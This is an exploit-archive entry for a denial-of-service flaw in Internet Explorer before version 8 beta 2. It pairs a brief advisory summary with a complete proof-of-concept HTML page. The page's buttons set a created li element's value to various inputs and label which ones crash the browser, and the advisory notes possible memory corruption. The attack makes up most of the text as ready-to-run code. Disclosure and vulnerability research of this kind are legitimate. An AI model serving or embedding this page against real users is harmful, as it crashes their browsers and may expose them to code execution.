Microsoft Internet Explorer 678 - li Element Denial of Service (1)

2007-02-07T00:00:00
ID EXPLOITPACK:12BE94D72D02F12C0BD7893C303FCB33
Type exploitpack
Reporter trevordixon
Modified 2007-02-07T00:00:00

Description

Microsoft Internet Explorer 678 - li Element Denial of Service (1)

                                        
                                            source: https://www.securityfocus.com/bid/36070/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.

Versions prior to Internet Explorer 8 beta 2 are vulnerable. 

<html> <head> <title>IE Crash Example</title> </head> <body> <button type="button" onclick="document.createElement('li').value = null;">null - Okay</button> <button type="button" onclick="document.createElement('li').value = 0;">0 - Okay</button> <button type="button" onclick="document.createElement('li').value = 1;">1 - Crash</button> <button type="button" onclick="document.createElement('li').value = '1';">'1' - Crash</button> <button type="button" onclick="document.createElement('li').value = true;">true - Crash</button> <button type="button" onclick="document.createElement('li').value = 'true';">'true' - Okay</button> <button type="button" onclick="document.createElement('li').value = false;">false - Okay</button> <button type="button" onclick="document.createElement('li').value = [];">[] - Okay</button> <button type="button" onclick="document.createElement('li').value = [1];">[1] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['1'];">['1'] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['true'];">['true'] - Okay</button> <button type="button" onclick="document.createElement('li').value = {};">{} - Okay</button> <button type="button" onclick="document.createElement('li').value = {count:1};">{count:1} - Okay</button> <button type="button" onclick="document.createElement('li').value = undefined;">undefined - Okay</button> <button type="button" onclick="document.createElement('li').value = function(){};">function(){} - Okay</button> </body> </html>